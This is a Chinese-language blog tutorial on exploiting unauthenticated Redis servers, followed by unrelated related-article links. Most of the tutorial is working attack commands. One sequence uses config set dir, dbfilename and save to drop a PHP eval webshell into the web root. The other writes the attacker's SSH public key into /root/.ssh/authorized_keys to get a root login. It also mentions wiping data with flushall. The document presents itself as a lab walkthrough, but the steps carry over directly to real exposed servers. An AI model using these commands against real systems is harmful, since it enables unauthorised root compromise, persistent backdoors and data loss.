• Redis未授权访问写Webshell和公私钥认证获取root权限


    0x01 什么是Redis未授权访问漏洞

    Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

    简单说,漏洞的产生条件有以下两点:

    (1)Redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;

    (2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

      漏洞的危害

    (1)攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;

    (2)攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;

    (3)最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

    0x02 利用Redis写Webshell

    • 利用前提:

    1. l  靶机Redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
    2. l  开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限(我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)

    1.通过phpinfo页面或者其他方法获取Redis服务器网站的根目录

    得到服务器网站的根目录是:/var/www/html

    2. 通过redis-cli与Redis服务端进行连接,通过Redis未授权直接连接Redis服务端

    root@ubuntu:~# redis-cli -h 192.168.5.57

     利用前面我们已经得知的网站根目录开始利用Redis写Webshell(一句话木马)

    config set dir /var/www/html

    config set dbfilename webshell.php
    set webshell "<?php echo @eval($_POST['x']); ?>"
    save

    连接shell

     0x02 利用"公私钥"认证获取root权限,ssh免密登陆目标服务器

    1、 在攻击机(redis客户端)中生成ssh公钥和私钥,密码设置为空

    root@ubuntu:~# ssh-keygen -t rsa

    2、 进入/root/.ssh目录:  cd /root/.ssh , 讲生成的公钥保存到1.txt(名字随意)

    root@ubuntu:~# cd /root/.ssh/
    root@ubuntu:~/.ssh#  (echo -e "
    
    "; cat id_rsa.pub; echo -e "
    
    ") > 1.txt
    root@ubuntu:~/.ssh# ls -a
    .  ..  1.txt  id_rsa  id_rsa.pub  known_hosts

    3、 链接目标服务器上的Redis服务,将保存的公钥1.txt写入Redis(使用redis-cli -h ip命令连接靶机,将文件写入)

     cat 1.txt | redis-cli -h 10.10.10.135 -x set crack

    4、 通过客户端远程登陆目标靶机的Redis服务,并使用 CONFIG GET dir 命令得到Redis备份的路径

    redis-cli -h 10.10.10.135
    
    CONFIG GET dir

    5、 更改Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)

    config set dir /root/.ssh

    6、 设置上传公钥的备份文件名字为authorized_keys

    CONFIG SET dbfilename authorized_keys

    7、 检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出

    CONFIG GET dbfilename
    
    save
    
    exit

    8、 在攻击机上使用SSH免密登录靶机

    ssh -i id_rsa root@x.x.xx

    最后成功root权限登陆目标系统

     

     

  • 相关阅读:
    图文描述Vs2005制作WEB应用程序安装包的方法[E8.Net正式用户可以找我们获取全部代码参考]
    20080517 ITIL本地化实施沙龙活动记录
    制作 类似 google 下拉框的用户自定义控件的实现思路
    SQL SERVER 2005 Reporting Services 部署报表管理站点在 有主机头的站点上时的处理方法
    五月 我们都是四川人
    通过VML技术 及 XSLT技术实现WEB图形化处理界面.
    工作流技术杂谈 2008
    Visual Studio 2005 通过静态变量及可系列化的HASHTABLE变量优化工厂模式(Factory)的效率,提升性能(E8.Net工作流应用系统优化系列四)
    2008年4月21日 QQ群关于服务级别管理的聊天记录,欢迎加入ITIL与服务管理新QQ群:58342347
    Tapestry5之Application Module
  • 原文地址:https://www.cnblogs.com/-qing-/p/10978912.html
Copyright © 2020-2023  润新知